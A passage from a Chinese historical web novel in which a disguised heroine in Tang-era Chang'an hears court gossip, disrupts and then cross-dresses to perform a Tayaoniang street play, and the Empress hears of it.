窗外忽然传来了一声叫喊。 祝以灵翻身坐了起来,向外看去,就见管家正在向她快步走来,手中还捧着一份像是文书一样的东西,但又比寻常的文书信函单薄了许多。 当他走到近前,将手中的东西递到了她这儿的时候,祝以灵便看清,那是一张特制的花笺。 纸笺在手,便已透出了淡淡的清香。 祝以灵一看落款,毫不意外地瞧见了贺兰敏之的名字。 再看内容,这居然是一封邀她出门的请帖。 刚看到这出门邀约的时候,祝以灵不由神色一紧,还当自己在贺兰敏之面前装病的伎俩,终究是被那位“仁义”的表兄给拆穿了。 现在是看在亲戚关系的份上,把她叫出来提点两句。 但再看这个会见的地点,她就知道,这位贺兰表兄显然没有这个意思。 估计郭待封看到了这张请柬,都说不出个驳斥的理由,要不然也不会半个字都不说,只让管家把花笺送过 来。 因为相约的地点,在长安城中的大慈恩寺。 祝以灵化着淡淡的病号妆,披着大氅,从马车中走下来的时候,就见贺兰敏之一改上一次见时的鲜亮衣着,反而身着素衣,瞧着是个礼佛上贡的样子。 祝以灵走了过去。 “昨日听堂兄耳提面命,说大慈恩寺乃是陛下为追念亡母而建,绝不可在此地造次,我今日就全跟着贺兰兄长行事了。” 贺兰敏之笑了笑:“二月里陛下主持了长孙皇后诞辰的祭祀,如今又在大慈恩寺中添香火祝祷,此地近来有龙气庇荫,应是愿景灵验,所以叫上了表弟。或许来此地上一炷香,你那病情也就能好转了。” 祝以灵拱手:“表兄果是关爱后辈之人。” 贺兰敏之应下了这道谢,又调侃道:“原本我还想在那花笺中说,此地也可为表弟驱邪避凶,又怕你那无用的堂兄觉得我在挖苦讽刺他,不放你出来了,便删删减减去掉了那一句。” 他停顿了须臾,又道:“对了,今日来的,不止我们两人,我还要为你引荐一位朋友。” “朋友?”祝以灵好奇。 贺兰敏之道:“看!他来了!” 祝以灵循声看去,就看到了个戴着漂亮发冠的年轻人从人群里挤了出来,直冲着他们这边跑了过来。 原谅祝以灵只能看到他的漂亮发冠,实在是他那张脸乏善可陈,还带着股说不上来的轻浮龌龊之气,摆在贺兰敏之面前,那叫一个对比惨烈。 发冠倒是挺漂亮的,上面的珠子看起来有点值钱。 “这位是……?” “我来介绍吧。”贺兰敏之指了指祝以灵,“这是我刚入京的表弟,沿途水土不服病倒了,今日才终于能出门见风。” “这位……”他示意向了这个新来的青年,“是许相之子许自然。哦,表弟可能有些不清楚,我说的许相是许侍郎。” 祝以灵明白了。 郭待封才跟她说过官场上的事情,她没那么容易忘记。 这个许相不是那个会抓人考察学问、心眼有点小的许敬宗,是黄门侍郎许圉师,协助太子李弘修编瑶山玉彩的其中一位朝堂要员。 许自然是他的次子,因很得父亲喜欢,便难免脾气上放任自流了一点。 就像现在,他与祝以灵互相行过了礼,就挂着散漫的笑容,往旁边睨了两眼,发出了点评。 “该说不说,这和尚教坊也有和尚教坊的好处,平日里常在光宅、仁政二坊看那些不知排练了多少遍的俳优歌舞,看久了就觉匠气十足,神情无趣。倒是这慈恩寺前的民间戏场,还有点新鲜的东西。” 他将头一转,有些奇怪地问:“……郭郎君为何用这样的眼神看我?” 若他没瞧错的话,这病弱的少年眼中冒着黑亮的光,像是对他表达着敬仰之情,却又看得人后背发毛。 他干咳了一声:“这和尚教坊的说法也不是我先称呼出来的,这些常来露天围场的黔首自己这么叫,我就跟着学了两句……” “不是不是,许兄实在多虑了。”祝以灵打断了他的话,“我是在想,您果然是个品鉴艺术的好手,我初来长安,只怕要劳烦您带一带路,才好知道何处有趣!” 瞧瞧,瞧瞧! 短短几句话,就把个废物点心的形象勾勒得万分生动。 这是什么?这就是她装纨绔的楷模啊。 13. 013 祝以灵怎么想都觉得,自己不适合跟贺兰敏之撞款,如今瞧见一个很有参照价值的,可不得多观察一下。 这热情程度,把许自然都有点搞不会了。 他名字听着文雅,实际上是个什么货色,大伙儿都知道。 自他在长安城中走动开始,也就是某些有求于他父亲的人,才会对他稍事追捧,像是地位比他高些的,便大多只当他是个无用的闲人。 能和贺兰敏之搭上关系,也是因为此前的某次巧遇,然后结下了缘分。 今日也是正好,行程撞上了,于是有了这次相约。 这位……郭郎君,既是皇后的外甥,好像并不需要讨好他这种人? 许自然有点忐忑,趁着周遭人多,把贺兰敏之拉到了一边问询:“你这表弟,什么情况啊?” 贺兰敏之以扇掩面,低声笑了笑:“任谁一到京城就病倒,接连数日被关在家中,也会这样的。听说前几日,表弟还让随行的仆从在外面逛了几圈,在仁政坊外徘徊了一会儿,我便知道他喜好如何了。” 许自然恍然。 原是和他低山臭水遇知音了。 不是图他什么。 那他就知道该怎么说话了。 他大摇大摆地走,顺便和身高相差不大、于是更显亲切的祝以灵闲扯。 “要说这和尚教坊,京中可不止大慈恩寺前一处。灵感寺、永寿寺的民间戏场也好看,尤其是前者。” “灵感寺建得早,在京中香火盛,到了年节时候,常有流动的傩戏徘优在那边举办。若下次有空,我便约你去看个热闹。” 祝以灵点头:“那就说定了。” 许自然又道:“除了这些和尚教坊外,非官籍的徘优艺人还会在东西两市和漕运渡口表演,但那些地方,尤其是渡口……流浪来此的下等人着实是多,让人浑身不自在。还是西市的钵头胡人舞别具风味。” 祝以灵听得有点不太舒服。 贺兰敏之倒是对此颇为赞同,扬眉笑道:“你还能不自在?前几日我就听人说,你在秦渡看俳优即兴嘲谑,被带兵拿人的一起抓了,还是自报家门才出来的。” “贺兰兄!”许自然恼了,“这话可不兴说,我哪知道那人在那儿张口做打油诗还即兴表演,创作灵感竟是来自于朝中。” 祝以灵感兴趣地看了过来。“这又是什么门道?” 许自然对这位看得顺眼的新朋友,比之旁人多些耐心。 一边示意贺兰敏之不要乱揭他的短,一边又自己低声和祝以灵解释。 “你不知道,长安的徘优嘲谑戏,在其他地方少见,尤其是在城外的地方,表演堪称一绝。关中流民胆子也大,真就编排起了朝中官员的长相和做事。” 他嘟囔:“鬼知道是真没什么可怕的,还是背后就有人指使送诗文呢,那也不能怪我去看热闹对不对?” 祝以灵:“……” 这就是古代的特殊吃瓜渠道吗? 许自然继续说:“秦渡的那出戏是这样写的,说是某个姓郑的官员,祖祖辈辈都和荥阳郑氏搭不上关系,但他有官运啊,于是把自己的名字,挂上了郑家的族谱。” “谁知道,天有不测风云,他因为在朝堂上和其他官员吵架,被皇帝陛下一怒之下逐出了京城,这可把那个帮他上族谱的人急坏了,匆忙将他的名字划掉了。” “这人倒也争气,没两年又一阵升官地回来了,还直接当了宰相,他回来干的第一件事,就是把那个叫郑德的人丢进了监狱,说他名字有德、人却无德,逼他自杀了。” 祝以灵:“这不是戏剧性挺足,还挺有夸张手法的一出戏吗?” 又是官员吵架被贬官,又是一回来就当宰相,又是族谱除名这种“莫欺中年穷”的。 哇哦,全是网文经典环节哦。 下一刻她就看到,同行的两个人都把目光看向了她。 她后知后觉地意识到,刚才贺兰敏之说什么来着?官员抓人? “……这是真事啊?” 许自然点了一下头:“吏部尚书李义府的真事。他先上了赵郡李氏的族谱,又因为贬官而被除名,完完全全的真事。只是艺术创作了一下,把赵郡李氏换成了荥阳郑氏,把那个干出除名操作的李崇德,改成了郑德。” 祝以灵语塞:“这可真是……” 那难怪被抓呢! 长安的艺人真是好虎一群人啊。 但也怪有些官员不做好事,要不然哪来的这么多流浪人士,和敢于用表演讽刺的艺术家。 许自然啧了一声:“这事到这里,居然还没完呢。你说我平白无故地被提溜到牢房里走了一圈,脸也丢了,总不能当这事没发生吧,非得让我知道,到底是谁这么过分,编出了这么一幕戏来。结果在街上找人打听了一圈,一堆人说是许相。” “说是许相和李相争位,同是宰相也有个权势高低之分,先把人名声再编排编排,指不定就把对方挤下去了。什么话啊!一打听到这个,可把我吓得不轻!” “我父亲是有点文采,但绝对干不出这种事!我也不是去欣赏成品的!” 祝以灵思忖,其实罪犯喜欢留在犯罪现场,也不是什么很冷门的操作。 但许自然是她的重要素材来源,可不能现在就把关系搞砸了。 她连连点头:“这不是显而易见的事情吗?所以是另一位许相?” 许自然嗯了一声:“也不能说肯定吧,说实话,李尚书那个性格,得罪的人真不少,也未必要到和他平级的程度才敢编排他。只能说,最近许相确实和他有点小矛盾,就让人先怀疑上了。” “没两天吧,京中就有人在传,说是李相哪里甘心丢这么大一个脸呢,就找人写了部编排许相的嘲谑诗。哪知道负责提笔的才写了一半,就被叫停了。” 祝以灵奇道:“这又是为何?” 她对这位名叫许敬宗的许相最大的印象只有两条。 一条是此人在废王立武一事中,站在了皇帝和武后的这边,是个有投资眼光的。 另一条是之前郭待封跟她讲的事情,说许敬宗这人有点小心眼,还能用自己的学识考人呢。可怕得很。 周围喧闹,也不影响许自然现在又把声音压低了一点:“你当这位许相近来最有损名声的谈资是什么?” “……什么?” “他逼死了自己的儿子!还是自己的长子。” 祝以灵觉得此刻自己完全不用伪装,这吃瓜的表情属实符合一个纨绔的表现。“这不能编吗?” “不能的。”许自然摇摇头,“他儿子之前抢了他娶的续弦,许相一怒之下向朝廷举报,把他儿子发配流放了,前两年才觉得,儿子好歹是个儿子,还是调回来算了。但原谅又没原谅彻底,调去了个偏远县城。”< /p>“他那个长子许昂和老爹那续弦私通的时候挺有气性的,到现在又没胆量和他父亲叫板了,愣是因为这依然没前途的迁调,把自己给气死了。就去年死的。” “你说说看,这一出谁敢编?” 祝以灵:“……” 她是个历史水平不高的人,对这个时期的人物一知半解,全靠着领路人郭待封每日科普替她扫盲。 但她也知道“儿子和小妈”、“父亲把儿子流放”在本朝都是不能当嘲讽戏来演的,怎么说都不能是批判的态度啊。 那真是难怪剧本写到一半就被叫停了。 “所以说啊,就算真是许相干的,李相也只能打碎牙齿吞肚子里,将就将就过了,就当是自己确实办事不地道,落了这么个结果好了。” 许自然眼皮一抬:“不说这个了,看那儿!” 祝以灵循声看去,只见这和尚教坊的场地边缘,不知何时列了一队手持器乐的徘优,奏起了歌舞。 人群中一只兰陵王大面跳将起来。 贺兰敏之拉了她一把,避开了忽然动起来的人潮。 木头刻面眨眼间冒出了好几只,最后汇聚在了空出来的场中央,跳起了齐舞。 或许是因为参与舞蹈的人数不多,也可能是有些大的寺院前场,让音律不够集中,祝以灵并没能从中看出多少兰陵王破阵的恢弘气概。 但那戴着面具的俳优走到她面前,向他们这几位一看就是贵公子打扮的人讨赏时,她还是学着旁边那两人的样子,从荷包中丢出了一枚小银饼。 再看场中,已是换了一出节目。 只见一名身着厚重衣服的妇人摇摇摆摆地进入场中,歌声凄哀,唱完了一阙,刚刚摘下木面的俳优便齐声为她和歌。 “踏谣娘和来!” 另一面,一名头顶红帽子,披着大衣,拎着酒壶的男人,同样摇晃着入场。 但前者是以足踏地,上身摇摆,以应和旋律,对面的那个角色,却是如同酒醉一般打着摆子。 那人刚一上场,便向着前者打了过去。 戏剧中的唱词和表演内容,都不难让祝以灵这个第一次看到此节目的人明白,这演的是一对夫妻,而后者正是个殴打妻子的酒鬼。 等等……她前几日让人去仁政坊打听的消息,对上了她因为演戏而记住的一件史实。今日的这出戏,还正是她的机会。 她低垂的目光中忽然灵光一闪,一把抢过了贺兰敏之的扇子,就朝着场中砸了过去。 她的射箭本领,放在这个时代绝对不合格,但祝以灵毕竟是个当过武替的,扔东西的力气又大又准。 这把折扇啪的一下,悍然命中了那“酒鬼”的后背。 表演的人为了醉鬼,专门把脚尖踮着走。重击忽至,他一个踉跄,就这样摔倒在了地上。 “表弟你这是……” 贺兰敏之愕然地转头,却看到身旁的表弟何止是抢他扇子砸人,更是一个健步冲向了场中,哪里还见得到一点病弱的样子。 在这电光石火之间,贺兰敏之的脑子里忽然跳出了前两日仆从告知的,与郭升云有关的情况。 郭升云的父亲郭孝慎养了个外室,平日里因好酒而体虚。 他这表弟也不是个善茬,疑似心理有病,动不动就喜欢抄鞭子打人…… 贺兰敏之惊声开口:“假的!那是演的!” 14. 014 他这话喊了和没喊,也没有什么区别。 祝以灵早已到了场中。 那刚刚摔倒的酒鬼扮演者,还未从那折扇袭背的变故中反应过来,就已被人一把抓住了后颈的衣服。 祝以灵深谙发力的技巧,近来又长了不少气力,竟是将这身形比她高壮的男人,直接拎了起来。 “彩!”许自然拍手大赞一声。 话出了口,他又忽然意识到,现在可不是他为这搅扰表演的行为叫好的时候。 转头间不出意外地看到,贺兰敏之为他这一声,直接用看智弱之人的眼神瞧了过来。 偏偏那个被他喝彩的家伙,也着实无用! 他才刚为对方不顾脸面地喊了那一声,被他拎起的酒鬼就一记向后的肘击,挣脱了束缚的同时,将他也给打翻在地。 虚弱的少年人捂着胸口咳嗽了一声。 许自然倒抽了一口冷气,正要叫人上前去将这位初来京城的皇后外甥解救出来,就见少年的腿脚比手灵活,双腿贴着地面扫出,也不知是如何动的,就已“缠绕”上了对方的脚踝。 猝然一拧、一绊,便已将那才脱困的人再度带向了地面。 再看时,脸色苍白的少年竟是人随腿至,在许自然都没看清楚他是如何做的时候,直接翻身,压在了那俳优艺人的身上。 祝以灵在心中连连说了几声抱歉,并在心中盘算着今日这一出过后,该赔偿对方多少精神损失费才好,手上的动作,却没有半点停歇。 疾出的手掌倏忽间扣作成爪,将对面那人的拳头死死地扣在了地上。 另一手则曲肘下击,将刚才肋骨处挨的那一下,尽数还了回去。 发出了砰的一声闷响。 “拦下——拦下他!” “天呐。” 所有的一切都发生得太快了。 与他一同来此的其余艺人,直到此刻方才一拥而上。 却又顾虑着那少年衣着看似简单,用料并不寻常,只敢急急忙忙地拉拽着,试图将两人分开。 那扮演醉汉的人,原本只是画着似有醉倒的妆容,现在则在真正看清了这动手少年的模样后,真如喝醉了酒一般迷糊了。 他没见过这人啊! 他颤抖着声音,怒气冲冲地问道:“小郎君何故如此?” 祝以灵冷笑:“自是因为看不惯你这举动!” 贺兰敏之头疼的要死。 可在这斗殴已被分开的当口,作为邀请郭升云来此的人,却不得不出来主持个公道。 衣着比之动手少年还要体面的王孙公子仓促上前,用手分开被吸引着聚拢的人群,用力地将祝以灵往后拉了一把。 “表弟!别胡闹了!都跟你说了,这只是演出来的,乃是前朝故事!” 少年脸上的愤慨之色,却不见因这句解释而有几分消退,反而更重了:“前朝故事?那敢问这故事是有何意义,竟值得今朝在这大慈恩寺前演绎?” 她挣脱了贺兰敏之的手。 贺兰敏之愣了一下,才反应过来,这挣脱的动作很有门道。 这位表弟还真是个野路子打架的好手。 但他说出的话,却是无比振振有词,冠冕堂皇:“方才那兰陵王破阵乐乃是歌颂主将率领勇士征讨敌寇而作,尔后有如今的秦王破阵乐,民间雅俗共享,追忆有为之人,我等叫好相应,也算一出舞乐盛事,这又算什么?” 扮演醉汉的男人觉得,自己简直是遭了无妄之灾! 若真什么戏都要计较背后的意义,他也趁早不用演了。 这从几十年前便已流传开来的歌舞,传到如今总归是有受众的,他也不过是依照原本的剧本,加上了些今时的改编,将其演绎出来罢了,为何非要说出个一二三四来。 平日里……平日里最多也就是有人怜悯踏谣娘的身份,向他丢些个果皮蛋壳,但这些东西分量够轻,尚在半道上,就已掉了下来。 哪似这次,直接就朝着他打了过来。 动手的还不是什么寻常人,竟是几个结伴出游的公子哥。是他惹不起的人。 幸好,也就是那个年纪最小的看起来最疯,其他两位还算是通情达理的人。 与另外两位相比稍微壮实也平凡了一点的那位郎君走上前来,打起了圆场。 “算了算了,此事就到此为止吧。” 想到他先前那出差点就要经历的牢狱之灾,许自然是一点都不想和俳优牵扯上太多的关系,只想保留演出者和看客的距离。 他从钱袋中摸出了两块小金馃子,丢向了那演酒鬼的人。 “酒鬼”伸手一接,顿时笑得牙不见眼。 虽然他们多在大慈恩寺前表演,但踏谣娘这出戏,比不得其他的需要演绎技术,可以说是甚少收到如此大额的打赏。 若只是被那小郎君往地上撂两次,就能收到这样的赔偿,他倒是愿意再被打两次。 他也连忙说道:“是是是,此事就这样算了。” “干什么算了?我话还没说完呢!”祝以灵眉头皱得能夹死苍蝇。 贺兰敏之真要没招了。 他低声附耳过去,发出的声音里,带着一股咬牙切齿的怨念:“你到底想搞什么?” “我只是想弄清楚,一个醉酒就痛殴妻子的醉汉,和一个奋起反抗与他互殴打的妻子,在场地里打过来打过去,为何不仅有叫好声,还有那么多笑声?这有什么好笑的!” 那两位俳优的领队凑了过来,向她解释:“郎君有所不知,此笑用意为讥讽。他演绎的丈夫姓苏,明明不识得几个字,无仕途可言,却自号为郎中,百姓为之不齿,于是笑话他。这笑声也是为了……为了更添戏谑嘲讽之意,让人莫要效仿于他。” “真是如此?”祝以灵狐疑地看过来。 众人只想平息这场突然的纠纷,连连点头。 却又忽然听见,祝以灵发出了一声冷笑:“胡说八道,若真是为了让世人见其丑态,绝不效仿,我倒另有一个法子,能让此戏的讥讽意味比先前更重,也不知几位愿不愿意随我一试!” 领队回说:“还请小郎君示下。” 见郭升云没了动手的意思,贺兰敏之微微松了一口气,见他将那领队与演绎的两人叫到了一边,嘀嘀咕咕地说些什么,并没再度吵闹起来,他心中落定。 料来,就算郭升云在太原时因父亲的举动而心理扭曲,在这踏谣娘歌前有了不同寻常的反应,他也总算还记得,自己现在正在大庭广众之下,丢脸丢一次也 就够了。 现在至多就是提些修改的建议。 有钱,如何改都无妨,就是让那妇人抄起武器,演出把酒鬼丈夫打死的一幕,其实也没什么关系。 以至于他没瞧见,那领队在被祝以灵推搡向附近搭建的更衣棚时,脸上满是犹豫尴尬之色。 “这……这如何使得!” 祝以灵却在离开了贺兰敏之视线后,一改先前的行事莽撞,而是眉眼间从容不迫了许多。 “如何使得?有个说法叫做上行下效,想来你们俳优之间也是如此,那宫廷乐府之中受人欢迎的戏码,也会被你们找来,在这和尚教坊与码头前表演,是也不是?” 领队哑然称是。 祝以灵呵了一声:“那我以为你应该也听过,近来官府教坊处隐约流传着的一则消息。说的是,如今皇后殿下代陛下批阅公文,有心关照关照京中的女子,也约束京中俳优厮打时,常有不得已袒露的恶俗风气,禁止妇人为女伎女乐。”(*) 领队“嘶”了一声,想起前阵子的改元庆典上,是有这样的一出传闻。 可京中事多,这种听来就不像是能执行下去的传闻,哪会被他放在心上。 现在却忽然出现在了这少年的口中。 而他刚才提出的要求更是…… 祝以灵挑眉,威势不小:“不瞒你说,皇后殿下正是我的姨母,你现在还觉,我这话是在信马由缰,胡乱说道吗?” 领队愕然地将她上下打量了一番。 未曾料到,这小郎君不仅看起来身份不寻常,还与宫中有着这样的关系。 而他这一愣神间,那套备用的踏谣娘衣着,便已被送到了祝以灵的手中。 少年也浑不挑剔,直接将手中宽敞的裙裳外披一抖,便绑挂在了自己的身上。 领队终于意识到了什么,一把抓住了她的手。 祝以灵瞪他:“我都跟你说得这么明白了,你还拦着我做什么?既要显示讥诮嘲讽之意,让这出戏变作一出真正的讽刺小品,不如由男人来演那踏谣娘,这不比先前更能让人着眼于醉鬼无能,互相殴打,而非妇人被醉酒丈夫打得哀叫不已吗?” 领队仍拽着没松手,极力辩驳:“可……可若只是如此,我们这儿也有男人可顶替这个位置,何必由郎君你来!” 这小郎君都说了,他是皇后的外甥,在这里穿着女装演戏算是个什么事啊。 祝以灵才不管这句规劝。 或者说,直到现在她在做的,才是她先前砸出那把扇子时就已想好的事情。 她刚才是如何挣脱的贺兰敏之,现在就是如何挣脱的那戏班首领,大剌剌地拽着披帛便朝着外面走了出去。 更衣之间,那和尚教坊的场地上,已是先表演了一出另外的戏,正当退场的时候。 听到报幕的人跑跳过人群,说是那刚才出了意外的踏谣娘戏又要重新端上来,也做了一番改动,众人各自收声看了过来。 只见得一袭披帛随着徐步摇摆入场,动作比先前还夸张了许多。 可夸张的哪只是动作。众人赫然瞧见,扮演踏谣娘的,竟是从原本的妇人,换成了…… 许自然倒抽了一口冷气。 “小郭郎君这成何体统!” 15. 015 成何体统啊! 他都不用转头去看贺兰敏之的表情,都能猜到那脸色不会有多好看的。 只因此刻身着踏谣娘衣服的不是别人,正是那位小郭郎君。 郭升云的眉眼轮廓深邃,五官量感不小,本就是在人群中相当醒目的人,此刻手持披帛,大摇大摆地登台,几乎是让人一眼,就将视线聚焦到了他的身上。 他把那演醉汉的打了一顿,然后给人提建议,提出的,竟是让自己顶上那女郎的位置??? 许自然往自己身上拧了一把,看到的场面依然没有任何的变化。 不是梦啊。 他也算是个在长安城中见多识广的人了,愣是没见过这种事情。 虽然说留在这里,很有可能会因为郭升云的表现,令他也连带着丢脸,但反正他连牢里蹲都体验过了,也不差丢脸这次的,还是继续看这场热闹比较要紧。 他伸手,死死地抓住了欲要上去抓人的贺兰敏之。 “贺兰兄,贺兰兄!千万别冲动!这些围观的黔首又不知道小郭郎君的身份,离得远的还看不清楚他的相貌,你现在冲上去和他撕扯起来,才真是要让场面变得难看了。” 贺兰敏之咬牙切齿:“现在难看,也总比将来难看要好吧?” 世上之事,既已在光天化日之下,便是藏不起来的。 他就算不上前去,郭升云的身份和名字也会被人知晓。 他怎么敢的! 不是在他来探病时,会因为容色不佳而恼怒到摔镜子的人吗?怎么这个时候又不注意形象了呢! 贺兰敏之简直难以想象,今日之事一旦传开,会被人如何说。 说,皇后的外甥入京之后,连皇帝皇后都还没见到,倒是先在市井之间扮上女子,演起俳优的讽刺之作了? 从来未有听闻,哪位官学子弟以及朝堂官员,会有这样的履历! 这种事情又不可能堵住在场所有人的嘴,让他们保守秘密,那么如此一来,郭升云还有什么可能入职朝堂,与他这位表兄守望相助? 贺兰敏之已经有点崩溃了,偏偏旁边的围观路人没有这样的眼力,还在这个时候,忽然发出了一阵响亮的笑声。 “哈哈哈哈阿耶你看那个人!” “他的步子走得真有趣。” “……” 场上那“踏谣娘”比之先前身量高出了不少,虽然体格仍不算健壮,但已没有了那种哭啼孱弱的第一眼感觉。 走出的脚步乍看起来,和先前那位踏谣娘的相差不大。 但再一细看,便有了一种相当明显的男人佯装女人脚步的感觉,凭空多出了一种滑稽感。 祝以灵听到那些欢乐的笑声,就知道自己的这出表演,并没有失败。 她的演技不过尔尔,但做武替的人最要紧的就是在背影身姿上与人相似,所以男性的走路方式她专门学过。 双腿略分,两脚微微外八,走路时靠着大腿发力,而非腰胯,然后再因踏谣娘这个角色的需要,减小迈步的间距,略加摇摆的动作。 不懂其中门道的看客,只当这是个男演女角的戏码,祝以灵自己却知道,要营造出这种感觉,当中的学问一点都不少。 当然,还有就是,她今日表演的这一出,什么朝廷官员啊太子啊,必定是接受不了的,但若加上了她跟那领队之人掰扯的理由,起码,皇后得保一保她这位外甥,让她平安离开长安吧? 有着不着调的表现在前,她在面圣的时候有些礼数欠缺,应该也是很难让人理解的事情吧? 或者可能干脆就不让她去见驾了,免得让陛下看得头疼,还加重了他的头风病症。 祝以灵越想越觉得,自己简直是个糊弄过关的天才! 她有早日顺利离开的正当理由了。 但也正因为如此,她在那里摇头晃脑念台词的时候,愣是没怎么让人觉出“踏谣娘苦”来。 贺兰敏之伸手就想要捂住自己的脸。 却又顾虑到,他的脸上其实涂抹了点脂粉,这一盖便要沾到手上,又强忍住了动作。 原本倒是还有把扇子可以用的,奈何那扇子已被郭升云当做打岔的道具丢了出去,现在还在场中的地上。 之前劝架的时候,还忘记了将它捡回来。 更可恨的是,长安城中,人类的悲欢并不相同。 他在这里处于走和不走的煎熬抉择中,恨不得地上多条缝,让他直接钻进去算了,周围的看客却是要笑疯了。 那醉汉仍然是领队所说的无用却倨傲之人,喝醉了酒就要回来打老婆。 可现在老婆脚步摇摆,却是个男人所演,跳将上前,就和他打了个有来有往,仿佛是在观众的叫好声里,从原本的家暴讽刺戏,变成了摔跤二人转。 人群哗然。 “……” “哈哈哈哈这新上任的踏谣娘还知道如何打得好看呢!” 一个练过几年的士卒比划了一下,发觉要做到祝以灵这般举重若轻的样子,其实并不容易。要打出这种追逐中似在下方,实则冷不丁就往人脑袋上来一下的喜剧效果,同样不容易。 但别管是不是人人都能跟他一样看出这里面的门道吧,有一个结论是很直观的。 放在大慈恩寺这往来之间什么人都有的地方,现在的这出戏,可要比之前好看多了。 而且确实是讽刺戏! 哈哈哈,这殴斗的场面看起来可太讽刺了。 待得两方演绎退场,带着领赏布袋绕行场地一圈的小童也高兴地发觉,今日这出踏谣娘戏里收到的赏钱,要比平日里多出不少。 还有人把糖糕掰了一块递与他,让他这个没上场演戏的也尝尝鲜呢! 带着赏钱回来,就听到领队拍板,往后,其他地方的踏谣娘戏如何,姑且不论,反正他们就按照小郭郎君的授意来演了。 倒是小郭郎君本人,不知为何兴致并不算太高,眉眼间隐有忧虑之色。 他却还是先向着那演醉汉的男人说道:“先前……抱歉了,想到了些家中的事情,便动了手。” “这算什么!” 那俳优不仅平白得了许自然给的金饼,还能从这激增的路人打赏中多分到些钱,高兴还来不及。 若不是这小郭郎君的身份不低,他都想和对方兄弟相称了。 现在便将之前的矛盾一笔勾销吧! 祝以灵向借她衣服的女人也颔首致意:“今日本该归她的赏钱,还是给她,此次皇后殿下有心推行的新律,理应还有后招,不妨耐心等等。” 可惜她自己也自身难保,不敢说出一句过于笃定的话。 只是因为之前演过的戏里涉及到了女伎限令,才记得这么一件事,却并不能断言,这当中的后招是什么。也不知道这些被官府下令取缔的女伎女乐,会先流动向哪个岗位。 祝以灵随手抛了两块银饼过去,转头就向外走去。 还未从这俳优更衣的营帐区离开,便迎面撞上了大步走来的贺兰敏之。 祝以灵神情一僵,仿佛下意识地就想避开人,却又恍惚想到了什么,不退反进,宛如瞧见了救命稻草一般,向着贺兰敏之冲了过去。 一边冲,一边嘴里已喊了出来:“表兄——表兄务必救我!” 贺兰敏之嘴角一抽。 怎的表演登台的时候只见戏瘾大发,全无一点退缩的意思,现在又孩子死了知道娘了,在这儿朝他喊救命呢! 早干什么去了。 “救你?如何救?那么多人、那么多双眼睛看着!今日过后,恐怕还要因为俳优新戏改编,让更多人知道,这以男人扮演踏谣娘究竟是从谁开始的!你若只是个寻常人,助力于这出改编也就算了,但你是什么身份啊……” 他贺兰敏之只是会说几句好话,在皇后与陛下面前得脸,并不会什么万能的记忆消除仙术。 哪知道下一刻,他就听到对面的少年坦然回答:“知道便知道呗,这又不是什么了不得的事。” 贺兰敏之:“……?” 少年撇了撇嘴:“这几日间被郭家世兄关在屋里记那些什么朝廷官员的喜好啊,什么古文收录的注意事项,可把我这脑子听炸了。要是今日这离经叛道的行为一出,能让我别受这种折磨,我还高兴呢。” 许自然跟在贺兰敏之的身后,正听到了这一句,顿时肃然起敬。 他也是个书读不进去的,直想将郭升云引为知音。 祝以灵往下说,更是理直气壮得很:“这事也不全是丢脸吧,将来回了太原我还能跟人说,我在长安以实际行动,支持了一下皇后姨母。” 贺兰敏之冷笑:“那你都这么说了,还要我救你做什么?” 表弟真可谓是性情中人啊! 祝以灵伸手抓住了他的胳膊,眼神殷切:“当然要救!今日务必让我留宿表兄府上,莫要让我回郭府了。我看那郭世兄循规蹈矩,一心重新振奋门楣,实在是注意规矩到了迂腐的地步,若我今日这样回去了,恐怕是觉也不用睡了。” “表兄你也是知道的,那府上的风水实在欠佳,若是我被人念叨一晚,又正巧再度风邪入体,恐怕又要再病倒一回。” 贺兰敏之张了张嘴,又觉好一阵语塞。 好好好。 他……他真是服了。 这个表弟不担心自己的名声因这一次身着女装,直接跌落谷底,乃至于变成长安城中的笑料,反而担心被郭待封训斥一顿又生病?? 这对吗? 面前的少年诚心地又问了一次:“表兄可否供我一席之地安身?” 16. 016 “他真是这么说的?” 沉水香在桌案前的三足铜炉当中静静燃着,自铜炉上方飘起了一缕轻烟,空气里早有扩散开来的馥郁木香,带着说不上来的宁和气韵。 可在下方跪坐回禀的人并未看到的位置,宫装女子落在白麻纸上的,却是笔势凌厉如走龙蛇,又斩钉截铁的两个字。 不允。 但当她抬头时,唇角短暂下压的凛冽,已经暂时从这张仪容端庄的脸上褪去,变成了闲话家常的温和。 非要说的话,可能也确实该叫做闲话家常。 是她的一位外甥,因为另一位外甥过于跳脱轻纵的表现,不得不来向姨母求助。 贺兰敏之回答:“正是。敏之转述的正是今日所发生之事,并未有半句夸张妄言。” 武后觉得有点好笑:“怎么?上一次你代我和陛下去往郭待封府上时,回来说的,和现在可完全是两码事啊。” 上一次贺兰敏之是怎么说的来着? 他说郭升云此子虽有些过分看重相貌,言辞间有些许粗鄙,应是学问不深,但脾性直率,不失为一个妙人。 待得病情好转后,前来陛下与皇后面前拜见,应能有些惊喜。 若将此子留在京城,他贺兰敏之也多了个相互照应的亲戚。 今日,便已成了字字句句的无奈。 表弟男着女装,跳起了踏谣娘,在和尚教坊大出了一番风头。 而随后—— 郭升云一通唱念做打表演完了,知道自己惹出的事情不小,为了避免被郭待封关起门来教训,请求在贺兰敏之府上暂住。 贺兰敏之犹豫了半晌,还是决定先将人接到了自己的府上,却在安顿好了人后,果断地向宫中送入了拜帖,请求拜见皇后。 恰好今日事少,他就这样轻易地见到了自己的姨母,把白日在那大慈恩寺前发生的事情,一股脑地说了出来。 现在听到了姨母的这句两码事调侃,贺兰敏之无奈叹气:“也怪我先前看走了眼,只知他疏于教导,表现惫懒,却不知他简直是个言行无忌的混人!也不知他在太原时得了多少娇惯,竟连这种事也能不与人商议便做出来。” “若不是还有姨母的威望压着,我也出了府,只怕此刻,我已被那郭待封郭郎君指着鼻子怒骂,为何不拦着些他那堂弟的所作所为。” 皇后莞尔。 贺兰敏之垂头:“您倒是笑得出来,还请为外甥出个主意吧。升云幼时丧母,我这位与他关系亲近的表兄本该多多照料于他,但今日一见,他的主意分明大得很,竟不知该当用何态度来面对他了。” 他叩首恳求道:“还望姨母示下。” 姨母会选择在龙朔改元时,将郭升云征召入京,必定是对他有些期待的,起码要比对那些流放在外的武氏族人高出许多。 他贺兰敏之就算只是装,也得先敷衍出个兄友弟恭的样子,让决策的话从姨母这里说出来。 他虽然不怕麻烦,但也不想沾染多余的麻烦。 尤其是这种,可能让他被连带着嘲笑果是一家的混人! 哪知道他却见上首的皇后单手托住了鬓边,巍然如玉山微倾,却又带着玉石所不能有的深邃笑意。 “你上次所言,没让我觉得升云是个妙人,只觉他有些吵闹,今日却真让我觉出几分妙意了。” 贺兰敏之愕然:“……啊?” 